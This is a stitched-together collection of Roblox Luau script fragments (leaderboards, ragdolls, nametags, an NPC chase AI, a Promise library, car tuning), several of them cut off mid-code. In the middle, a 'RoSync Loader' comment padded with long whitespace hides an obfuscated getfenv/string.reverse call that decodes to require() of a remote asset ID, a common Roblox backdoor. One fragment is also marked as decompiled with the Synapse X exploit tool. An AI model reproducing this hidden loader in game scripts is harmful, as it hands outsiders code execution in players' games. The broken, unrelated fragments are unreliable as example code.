Roblox/luau_corpus huggingface dataset:
--Put this script into startergui--
local player = game.Players.LocalPlayer
local topbarplus = player.PlayerGui:WaitForChild("TopbarPlus", 30)

topbarplus.TopbarContainer.UnnamedIcon.Visible = false
----𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫

local DataStoreService = game:GetService("DataStoreService")
local DataStore = DataStoreService:GetOrderedDataStore("GlobalLeaderboard_" .. StatsName)
local SurfaceGui = script.Parent
local Sample = script.Sample
local List = SurfaceGui.Frame.List--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
local ItemsFrame = List.ListContent.Items

local function GetItems()
	local Data = DataStore:GetSortedAsync(false, MaxItems, MinValueDisplay, MaxValueDisplay)
	local TopPage = Data:GetCurrentPage()
	
	ItemsFrame.Nothing.Visible = #TopPage == 0 and true or false
	
	for i, v in ipairs(TopPage) do
		local UserId = v.key--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
		local Value = v.value
		local Username = "[Not Available]"
		local Color = Color3.fromRGB(38, 50, 56)--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
		
		local Success, Error = pcall(function()
		 	Username = game.Players:GetNameFromUserIdAsync(UserId)
		end)
		--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
		if i == 1 then
			Color = Color3.fromRGB(255, 215, 0)
		elseif i == 2 then
			Color = Color3.fromRGB(192, 192, 192)
		elseif i == 3 then
			Color = Color3.fromRGB(205, 127, 50)
		end--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
		
		local Item = Sample:Clone()
		Item.Name = Username
		Item.LayoutOrder = i--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
		Item.Values.Number.TextColor3 = Color
		Item.Values.Number.Text = i
		Item.Values.Username.Text = Username--𝐁𝐮 𝐊𝐢𝐭 𝐇𝐞𝐲𝐞𝐜𝐚𝐧𝐥ı𝐘𝐓 𝐓𝐚𝐫𝐚𝐟ı𝐧𝐝𝐚𝐧 𝐘𝐚𝐩ı𝐥𝐦ış𝐭ı𝐫 İ𝐳𝐢𝐧𝐬𝐢𝐳 𝐕𝐢𝐝𝐞𝐨𝐬𝐮 Ç𝐞𝐤𝐢𝐥𝐦𝐞𝐬𝐢 𝐘𝐚𝐬𝐚𝐤𝐭ı𝐫
		Item.Values.Value.Text = Value
		Item.Parent = ItemsFrame
	end
end
--- Returns a type name, parsing aliases.
function Registry:GetTypeName (name)
	return self.TypeAliases[name] or name
end
--[=[
	Calls each Object's `MethodName` (or calls the Object if `MethodName == true`) and removes them from the Janitor. Also clears the namespace.
	This function is also called when you call a Janitor Object (so it can be used as a destructor callback).

	```lua
	Obliterator:Cleanup() -- Valid.
	Obliterator() -- Also valid.
	```

	```ts
	Obliterator.Cleanup()
	```
]=]
function Janitor:Cleanup()
	if not self.CurrentlyCleaning then
		self.CurrentlyCleaning = nil

		local Get = GetFenv(self)
		local Object, MethodName = Get()

		while Object and MethodName do -- changed to a while loop so that if you add to the janitor inside of a callback it doesn't get untracked (instead it will loop continuously which is a lot better than a hard to pindown edgecase)
			if MethodName == true then
				Object()
			else
				local ObjectMethod = Object[MethodName]
				if ObjectMethod then
					ObjectMethod(Object)
				end
			end

			self[Object] = nil
			Object, MethodName = Get()
		end

		local This = self[IndicesReference]
		if This then
			table.clear(This)
			self[IndicesReference] = {}
		end

		self.CurrentlyCleaning = false
	end
end
-- MISC VARIABLES --
local ragdollParts = script.RagdollParts

script.RagdollClient.Parent = StarterPlayer.StarterCharacterScripts

game.Players.PlayerAdded:Connect(function(player)
	if not player.Character then
		player.CharacterAdded:Connect(function(char)
			
			if char:FindFirstChild("UpperTorso") then return end
			
			local clones = {}
			for i, v in pairs(ragdollParts:GetChildren()) do
				clones[v.Name] = v:Clone()
			end

			for i, v in pairs(clones) do
				if v:IsA("Attachment") then
					v.Parent = char[v:GetAttribute("Parent")]
				elseif v:IsA("BallSocketConstraint") then
					v.Parent = char.Torso
					v.Attachment0 = clones[v:GetAttribute("0")]
					v.Attachment1 = clones[v:GetAttribute("1")]
				else
					v.Part0 = char.HumanoidRootPart
					v.Part1 = char.Torso
					v.Parent = char.HumanoidRootPart
				end
			end
		end)
	else
		local char = player.Character
		
		if char:FindFirstChild("UpperTorso") then return end
		
		local clones = {}
		for i, v in pairs(ragdollParts:GetChildren()) do
			clones[v.Name] = v:Clone()
		end

		for i, v in pairs(clones) do
			if v:IsA("Attachment") then
				v.Parent = char[v:GetAttribute("Parent")]
			elseif v:IsA("BallSocketConstraint") then
				v.Parent = char.Torso
				v.Attachment0 = clones[v:GetAttribute("0")]
				v.Attachment1 = clones[v:GetAttribute("1")]
			else
				v.Part0 = char.HumanoidRootPart
				v.Part1 = char.Torso
				v.Parent = char.HumanoidRootPart
			end
		end
	end
end)

CS:GetInstanceAddedSignal("Ragdoll"):Connect(function(v)
	if v:IsA("Model") then
		ragdollBuilder:Ragdoll(v)
	end
end)

CS:GetInstanceRemovedSignal("Ragdoll"):Connect(function(v)
	if v:IsA("Model") then
		ragdollBuilder:Unragdoll(v)
	end
end)
--[=[
	Promises the resulting asset is inserted from insert service, or a rejection

	@param assetId number
	@return Promise<Instance>
]=]
function InsertServiceUtils.promiseAsset(assetId)
	assert(type(assetId) == "number", "Bad assetId")

	if assetId == 0 then
		return Promise.rejected()
	end

	return Promise.spawn(function(resolve, reject)
		local result
		local ok, err = pcall(function()
			result = InsertService:LoadAsset(assetId)
		end)

		if not ok then
			return reject(err)
		end
		if typeof(result) ~= "Instance" then
			return reject("Result was not an instance")
		end

		resolve(result)
	end)
end

return InsertServiceUtils
-- PARENT
local localPlayer = game:GetService("Players").LocalPlayer
local playerGui = localPlayer.PlayerGui
topbarPlusGui.Parent = playerGui



return topbarPlusGui
--Services
local Players = game:GetService("Players")
local MarketplaceService = game:GetService("MarketplaceService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local NameTag = ReplicatedStorage.NameGUI
local ServerStorage = game:GetService("ServerStorage")
local Configurations = require(ServerStorage.Configurations)
local GamepassID = Configurations.GamePassIds.VIP


local function onPlayerAdded(player: Player)

	player.CharacterAppearanceLoaded:Connect(function(character)
		local Head = character.Head or character:WaitForChild("Head")
		local success, result = pcall(function()
			return MarketplaceService:UserOwnsGamePassAsync(player.UserId, GamepassID)
		end)
		if success then
			if result then
		local nameClone = NameTag:Clone()
		
		nameClone.name.Text = "VIP"
		nameClone.Adornee = character.Head
		nameClone.Parent = character.Head
		nameClone.name.Font = Enum.Font.GothamSemibold
		nameClone.name.TextColor3 = Color3.new(1, 1, 0)
		nameClone.name.TextSize = 16

		local humanoid: Humanoid = character:WaitForChild("Humanoid")

		humanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
			end
		end
		local s, r = pcall(function()
			return player.MembershipType == Enum.MembershipType.Premium
		end)
		if s then
			if r then
				local nameClone = NameTag:Clone()

				nameClone.name.Text = "Premium"
				nameClone.Adornee = character.Head
				nameClone.Parent = character.Head
				nameClone.name.Font = Enum.Font.GothamSemibold
				nameClone.name.TextColor3 = Color3.new(1, 1, 1)
				nameClone.name.TextSize = 16

				local humanoid: Humanoid = character:WaitForChild("Humanoid")

				humanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
			end
		end
	end)
end

Players.PlayerAdded:Connect(onPlayerAdded)
--print("AF:",AF)
Spawn(function()
for j, v in pairs(i) do
wait(v[3] and v[3] or 0)
for k = 1, v[2]  do
for m, n in pairs(Parts:GetChildren()) do
if n.Name == l then
-- The distance above the area-defining part that counts as part of the area
Security.AreaHeight = 500;
--[[
	Tool.GripForward = Vector3.new(0,-1,0)
	Tool.GripPos = Vector3.new(0,0,2)
	Tool.GripRight = Vector3.new(1,0,0)
	Tool.GripUp = Vector3.new(0,0,-1)
]]--
	enabled = true

end



script.Parent.Activated:connect(onActivated)
--[[ Last synced 5/29/2021 06:10                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--[=[
	Overwrites an existing table with the source values.

	@param target table -- Table to overwite
	@param source table -- Source table to read from
	@return table -- target
]=]
function Table.overwrite(target, source)
	for index, item in pairs(source) do
		target[index] = item
	end

	return target
end
-- EVENTS
IconController.iconAdded = Signal.new()
IconController.iconRemoved = Signal.new()
IconController.controllerModeStarted = Signal.new()
IconController.controllerModeEnded = Signal.new()
--[[ Local Functions ]]--
function MasterControl:GetHumanoid()
	if LocalCharacter then
		if CachedHumanoid then
			return CachedHumanoid
		else
			CachedHumanoid = LocalCharacter:FindFirstChildOfClass("Humanoid")
			return CachedHumanoid
		end
	end
end

local characterAncestryChangedConn = nil
local characterChildRemovedConn = nil
local function characterAdded(character)
	if characterAncestryChangedConn then
		characterAncestryChangedConn:disconnect()
	end

	if characterChildRemovedConn then
		characterChildRemovedConn:disconnect()
	end	
	
	LocalCharacter = character
	CachedHumanoid = LocalCharacter:FindFirstChildOfClass("Humanoid")
	characterAncestryChangedConn = character.AncestryChanged:connect(function()
		if character.Parent == nil then
			LocalCharacter = nil
		else
			LocalCharacter = character
		end
	end)
	
	characterChildRemovedConn = character.ChildRemoved:connect(function(child)
		if child == CachedHumanoid then
			CachedHumanoid = nil
		end
	end)
end

if LocalCharacter then
	characterAdded(LocalCharacter)
end
LocalPlayer.CharacterAdded:connect(characterAdded)


local getHumanoid = MasterControl.GetHumanoid
local moveFunc = LocalPlayer.Move
local updateMovement = function()
	
	if not areControlsEnabled then return end
	
	local humanoid = getHumanoid()
	if not humanoid then return end
	
	if isJumpEnabled and isJumping and not humanoid.PlatformStand then
		local state = humanoid:GetState()
		if state ~= STATE_JUMPING and state ~= STATE_FREEFALL and state ~= STATE_LANDED then
			humanoid.Jump = isJumping
		end
	end

	moveFunc(LocalPlayer, moveValue, true)
end
-- The location where all DevModules are moved at runtime. Note that a DevModule
-- is moved after its scripts and other instances have been moved to their
-- proper locations. What remains of the DevModule is the Packages folder, and
-- any ModuleScripts that are used by the DevModule.
local DEV_MODULE_STORAGE = ReplicatedStorage
-- [ SETTINGS ] --

local statsName = "Kills" -- Your stats name
local maxItems = 100 -- Max number of items to be displayed on the leaderboard
local minValueDisplay = 1 -- Any numbers lower than this will be excluded
local maxValueDisplay = 10e15 -- (10 ^ 15) Any numbers higher than this will be excluded
local abbreviateValue = true -- The displayed number gets abbreviated to make it "human readable"
local updateEvery = 60 -- (in seconds) How often the leaderboard has to update
local headingColor = Color3.fromRGB(25, 181, 254) -- The background color of the heading
--//=================================\\
--|| 			WRAP
--\\=================================//

function BEGINAI()
	HUMANOID.Died:Connect(function()
		DEAD = true
		script:Remove()
	end)
	coroutine.resume(coroutine.create(function()
		repeat
			wait()
			local TARGETVARIANTS = {}
			local PICK = nil
			for index, CHILD in pairs(workspace:GetDescendants()) do
				local HUMAN = CHILD:FindFirstChildOfClass("Humanoid")
				if HUMAN and CHILD:FindFirstChild("MinecraftHerobrineMainScript") == nil then
					if HUMAN.Health ~= 0 then
						if HUMAN.Torso then
							local DISTANCE = (HUMAN.Torso.Position - TORSO.Position).Magnitude
							table.insert(TARGETVARIANTS,{CHILD,DISTANCE})
						end
					end
				end
			end
			local DIST = math.huge
			for E = 1, #TARGETVARIANTS do
				local PLAYER = TARGETVARIANTS[E]
				local CHARACTER = PLAYER[1]
				local DISTANCE = PLAYER[2]
				if DISTANCE < DIST then
					DIST = DISTANCE
					PICK = CHARACTER
				end
			end
			TARGET = PICK
			if TURNTO then
				GYRO.CFrame = CF(FAKEHEAD.Position,TURNTO.Position+VT(0,TURNTO.Size.Y/1.5,0))
			else
				GYRO.CFrame = HEAD.CFrame
			end
		until DEAD == true
	end))
	while true do
		if DEAD == true then
			break
		end
		if TARGET then
			local HUM = TARGET:FindFirstChildOfClass("Humanoid")
			if HUM then
				local ROOT = HUM.Torso
				if ROOT then
					local PATHFIND = game:GetService("PathfindingService"):ComputeRawPathAsync(TORSO.Position,ROOT.Position,2)
					if PATHFIND then
						local FOE = TARGET
						TURNTO = ROOT
						local PS = PATHFIND:GetPointCoordinates()
						local PREV = TORSO.Position
						local BR = #PS > 1 and 2 or 1
						for i = BR,#PS do
							local POINT = PS[i]
							local DIST = math.huge
							repeat wait(0.1)
								DIST = (TORSO.Position - POINT).Magnitude
								HUMANOID:MoveTo(POINT)
								if (ROOT.Position - TORSO.Position).Magnitude < 7 then
									StabAnim()
									ApplyDamage(HUM,HUM.MaxHealth/20)
									local HIT = IT("Sound",ROOT)
									HIT.SoundId = "rbxassetid://"..HITSOUNDS[MRANDOM(1,#HITSOUNDS)]
									HIT.Parent = ROOT
									HIT.Pitch = 1
									HIT.Volume = 1.5
									HIT:Play()
									Debris:AddItem(HIT,2)
									if HUM.Health == 0 then
										break
									end
									wait(0.4)
								end
							until DIST < 5 or TARGET ~= FOE
							if TARGET ~= FOE then
								break
							end
						end
					else
						TURNTO = nil
					end
				else
					TURNTO = nil
				end
			else
				TURNTO = nil
			end
		else
			TURNTO = nil
		end
		wait()
	end
end

BEGINAI()
-- emote bindable hook
script:WaitForChild("PlayEmote").OnInvoke = function(emote)
	-- Only play emotes when idling
	if pose ~= "Standing" then
		return
	end

	if emoteNames[emote] ~= nil then
		-- Default emotes
		playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)

		return true, currentAnimTrack
	elseif typeof(emote) == "Instance" and emote:IsA("Animation") then
		-- Non-default emotes
		playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)

		return true, currentAnimTrack
	end

	-- Return false to indicate that the emote could not be played
	return false
end

if Character.Parent ~= nil then
	-- initialize to idle
	playAnimation("idle", 0.1, Humanoid)
	pose = "Standing"
end
-- Initialization

local Time = Instance.new('IntValue')
Time.Parent = workspace:WaitForChild('MapPurgeProof')
Time.Name = 'Time'
--------LEFT DOOR --------
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(21)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(1)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(21)

game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(21)
--[[Brakes]]
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS) 

	Tune.FBrakeForce	= 1000		-- Front brake force
	Tune.RBrakeForce	= 1000		-- Rear brake force
	Tune.PBrakeForce	= 5000		-- Handbrake force
	
	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]
--- End of Deprecated methods.

function module.new()
	local obj = setmetatable({}, methods)

	obj.ObjectPool = nil
	obj.ChatWindow = nil

	obj.DEFAULT_MESSAGE_CREATOR = DEFAULT_MESSAGE_CREATOR
	obj.MESSAGE_CREATOR_MODULES_VERSION = MESSAGE_CREATOR_MODULES_VERSION

	obj.KEY_MESSAGE_TYPE = KEY_MESSAGE_TYPE
	obj.KEY_CREATOR_FUNCTION = KEY_CREATOR_FUNCTION

	obj.KEY_BASE_FRAME = KEY_BASE_FRAME
	obj.KEY_BASE_MESSAGE = KEY_BASE_MESSAGE
	obj.KEY_UPDATE_TEXT_FUNC = KEY_UPDATE_TEXT_FUNC
	obj.KEY_GET_HEIGHT = KEY_GET_HEIGHT
	obj.KEY_FADE_IN = KEY_FADE_IN
	obj.KEY_FADE_OUT = KEY_FADE_OUT
	obj.KEY_UPDATE_ANIMATION = KEY_UPDATE_ANIMATION

	return obj
end

return module.new()
-- Decompiled with the Synapse X Luau decompiler.

wait(1);
script.Parent:TweenSize(UDim2.new(-0, -0, -0, -0), "In", "Quad", 0.5, true);
wait(1);
script.Parent:Remove();
--<DON'T TOUCH THE SCRIPT UNLESS YOU KNOW WHAT YOU ARE DOING!

local RS = game:GetService('ReplicatedStorage')
local TS = game:GetService('TweenService')

local Tool = script.Parent
local TextureArray = {}

local Activated = false
local Debounce = false
local Cooldown = 1
local Prop = nil
local LaughAnim = nil

Tool.Activated:Connect(function()
	if not Debounce then
		Debounce = true
		task.delay(Cooldown, function()
			Debounce = false
		end)
		
		local Character = Tool.Parent
		
		if not Activated then
			Activated = true
			
			LaughAnim = Character.Humanoid:LoadAnimation(RS.SharkV4.Laugh)
			LaughAnim:Play()
			Character.HumanoidRootPart.Anchored = true
			
			Prop = RS.SharkV4.Props.Tail:Clone()
			Prop.Parent = Character
	 
			local Attachment = Instance.new('Attachment')
			Attachment.Parent = Character.HumanoidRootPart
			Attachment.Position = Vector3.new(0,-2.5,0)

			local Wave = RS.SharkV4.Effects.Wave:Clone()
			Wave.Parent = Attachment

			local Smoke = RS.SharkV4.Effects.Smoke:Clone()
			Smoke.Parent = Character.HumanoidRootPart

			local Pixel = RS.SharkV4.Effects.Pixel:Clone()
			Pixel.Parent = Character.HumanoidRootPart

			local Laugh = RS.SharkV4.Sound.Laugh:Clone()
			Laugh.Parent = Character.HumanoidRootPart

			local SmokeSound = RS.SharkV4.Sound.Smoke:Clone()
			SmokeSound.Parent = Character.HumanoidRootPart

			Laugh:Play()

			task.delay(1.6,function()
				Laugh:Destroy()
				task.wait(0.25)
				Character.HumanoidRootPart.Anchored = false
				LaughAnim:Stop()
			end)

			SmokeSound:Play()

			local Tween = TS:Create(SmokeSound, TweenInfo.new(1.5), {Volume = 0})
			Tween:Play()

			Tween.Completed:Connect(function()
				SmokeSound:Destroy()
			end)	

			Wave:Emit(2)
			Smoke:Emit(100)
			Pixel:Emit(50)

			for _, Item in ipairs(Character.Humanoid:GetAccessories()) do
				local Hair = Item.Handle:FindFirstChild("HairAttachment") ~= nil
				if Hair then
					TextureArray[Item] = {TextureID = Item.Handle.TextureID, Color = Item.Handle.Color, Material = Item.Handle.Material}
					Item.Handle.Color = Color3.fromRGB(0, 85, 255)
					Item.Handle.TextureID = ''
					Item.Handle.Material = Enum.Material.Neon
				end
			end
			
		elseif Activated then
			Activated = false
			
			local Tween = TS:Create(Prop.Handle, TweenInfo.new(0.5), {Transparency = 1})
			Tween:Play()

			Tween.Completed:Connect(function()
				Prop:Destroy()
			end)
			
			for _, Item in ipairs(Character.Humanoid:GetAccessories()) do
				local Hair = Item.Handle:FindFirstChild("HairAttachment") ~= nil
				if Hair then
					Item.Handle.Color = TextureArray[Item].Color
					Item.Handle.Material = TextureArray[Item].Material
					Item.Handle.TextureID = TextureArray[Item].TextureID
					TextureArray[Item] = nil
				end
			end
		end
	end
end)
--since the UI clamps particle size, we have to override in code :(
local shockwave = script.Parent.ShockwaveLoc.Shockwave
shockwave.Size = NumberSequence.new{
	NumberSequenceKeypoint.new(0, 5), -- (time, value)
	NumberSequenceKeypoint.new(1, 20)
}


local flashPS = script.Parent.BloxSpawnLoc.FlashPS
flashPS.Size = NumberSequence.new{
	NumberSequenceKeypoint.new(0, 2), -- (time, value)
	NumberSequenceKeypoint.new(1, 25)
}
--When you are editing the car, make sure that the Left, Right, and Base parts are in a 
--straight line, and in the orientation the models comes with, or they won't be where you expect
--them to be at all!

motorSpeed = 0.05 -- a typical number is 0.1 but lower is better if you get weird behavior
--[=[
	@interface ServiceClient
	.Server Service
	.[any] any
	@within KnitServer
]=]
type ServiceClient = {
	Server: Service,
	[any]: any,
}
-- (Hat Giver Script - Loaded.)

debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "Hat"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle" 
		p.formFactor = 0
		p.Size = Vector3.new(1,1.60000002,1) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0,-0.4,0)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)
-- Gui Elements
local PlayerGui = player:FindFirstChild("PlayerGui")
local TopBar = PlayerGui:FindFirstChild("TopBar")
local TimerAndStatus = TopBar:FindFirstChild("TimerAndStatus")
local StatusBar = TimerAndStatus:FindFirstChild("StatusBar")
local GameStatus = StatusBar:FindFirstChild("GameStatus")
local CheckpointFrame = script.Parent
--[[
	Is the given object a Promise instance?
]]
function Promise.is(object)
	if type(object) ~= "table" then
		return false
	end

	local objectMetatable = getmetatable(object)

	if objectMetatable == Promise then
		-- The Promise came from this library.
		return true
	elseif objectMetatable == nil then
		-- No metatable, but we should still chain onto tables with andThen methods
		return type(object.andThen) == "function"
	elseif
		type(objectMetatable) == "table"
		and type(rawget(objectMetatable, "__index")) == "table"
		and type(rawget(rawget(objectMetatable, "__index"), "andThen")) == "function"
	then
		-- Maybe this came from a different or older Promise library.
		return true
	end

	return false
end
Promise.Is = Promise.is